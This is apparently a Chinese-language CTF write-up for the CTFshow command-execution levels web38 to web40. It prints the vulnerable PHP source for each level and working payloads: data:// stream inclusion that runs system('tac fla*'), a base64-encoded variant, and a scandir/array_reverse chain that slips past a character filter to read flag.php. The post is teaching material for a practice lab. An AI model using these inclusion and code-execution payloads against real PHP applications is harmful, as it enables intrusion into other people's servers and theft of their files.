CTFshow系列——命令执行web38-40

这几天也是趁着有空,多更点CTF的东西;毕竟得多方面发展是不是,不能老是盯着渗透测试和应急响应(虽然说也没少看),那多没意思。

文章目录


Web38

话不多说,直接开始:

其实Web37和Web38关中的 include 已经有点涉及到文件包含了,但大差不差。

bash 复制代码
<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

可以看到,跟Web37相比,多了 php 和 file 的过滤,那么我们应该有点思路:

  • php被过滤了,但是data协议不影响,那是不是能用?
  • 至于 file 可能是针对file_get_contents 函数使用;

  • 解决方案:利用data伪协议 + 编码绕过

    • data:// 伪协议:这个协议允许你直接在URL中嵌入数据
  • 原理说明:

  • 当传入?c=data://text/plain,<?=system('tac fla*');?>时,代码会自动拼接成:

  • include(?c=data://text/plain,<?=system('tac fla*');?>);

bash 复制代码
# payload:
 ?c=data://text/plain,<?=system('tac fla*');?>

--

Web39

看看这关有什么不一样:

bash 复制代码
<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

观察代码,我们可以发现 include($c.".php"); 这一句话,那么又与上一关的有什么区别呢?

include($c.".php"); 这句 PHP 代码的含义是

它会尝试包含并执行一个文件,该文件的文件名由变量 $c 的值和固定的字符串 ".php" 拼接而成。

bash 复制代码
# 上payload
?c=data://text/plain,<?=system('tac fla*');?>
# 编码后
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

疑问:那我输入?c=data://text/plain,<?=system('tac fla*');?>,代码拼接成什么样了?

  • 首先,$_GET['c'] 的值为 data://text/plain,<?=system('tac fla*');?>。
  • 然后,代码会执行 include(c.".php");,这句代码会把 _GET['c'] 的值和固定的字符串 ".php" 拼接起来。
  • 所以,最终要包含的文件路径会是:data://text/plain,<?=system('tac fla*');?>.php
  • 然而,data:// 伪协议的特性决定了它不会去查找一个名为 data://... 的本地文件,而是直接将 data: 后面跟着的内容作为数据流来处理。因此,PHP 引擎会忽略 .php 后缀,直接将 <?=system('tac fla*');?> 这段代码当作 PHP 代码来执行。

Web40(重点)

bash 复制代码
<?php

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

其实我们一看代码,发现就是Web29~Web36 的类型(没有了include),但是这关是将所有的特殊符号都过滤掉了;

所以我们的data协议等都不能使用了,因为包含(: \ 等符号)

难道我们就没有其他办法了吗?

我们仔细观察,发现题目并没有屏蔽掉 空格 反引号 反斜杠/ 下划线_

这个时候我们就要认识一个新函数:scandir('.') ,具体的可以看我这篇之前写的文章:scandir('.')的用法

(没错,几个月前我就做过这些题目了,只是过了太久,所以忘了<(-_-)>)


看上面这篇文章应该可以知道print_r(scandir(pos(localeconv()))); 查看当前目录所有文件名:

  1. 这里可以用next()来输出数组中的当前元素的下一个元素的值,也就是可以输出第二个(还有end可以输出最后一个)

  2. 但是flag在第三个怎么办?

  3. 可以用array_reverse函数,这个函数就是将数组转置;

bash 复制代码
# payload:

# 打印当前目录
print_r(scandir(pos(localeconv())));
# 显示flag代码
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

这里细心的应该注意到:为什么前面都是用print_r() ,到最后要用show_source() 函数?

直接看图对比就知道了:

对比:

总结

我知道很短,但没办法,我只是有空的时候写写,体谅一下,毕竟还是大学生。

相关推荐
兄弟加油,别颓废了。6 分钟前
curl详细使用方法
安全
EF@蛐蛐堂6 分钟前
【vue】新前端工具链Vite+ Alpha
前端·javascript·vue.js
小木木爸8 分钟前
若依框架图片预览异常:Content-Type变成application/octet-stream,前端后端谁的锅?
前端·状态模式
开开心心就好15 分钟前
电子教材下载工具,支持多链接批量下载
windows·随机森林·计算机视觉·pdf·计算机外设·逻辑回归·excel
爱学习的程序媛20 分钟前
【Web前端】蚂蚁AntV:企业级数据可视化全栈方案
前端·信息可视化·前端框架·web·数据可视化
昊星自动化25 分钟前
昊星自动化 以房间为单位气流控制筑牢实验室安全屏障
安全·实验室建设·文丘里阀·房间通风控制
文心快码BaiduComate27 分钟前
Comate Spec Mode能力升级:让复杂任务开发更可控、更稳定
前端·后端
code_pgf29 分钟前
Jetson Orin NX 16G设备上配置AI服务自动启动的方案,包括Ollama、llama-server和OpenClaw Gateway三个组件
数据库·人工智能·安全·gateway·边缘计算·llama
前端付豪31 分钟前
实现 AI 回复支持 Markdown 渲染
前端·人工智能·markdown
Coding的叶子33 分钟前
Windows 下 如何安全地安装 龙虾(OpenClaw)
windows·安全·ai·openclaw·龙虾·龙虾安装·龙虾实验室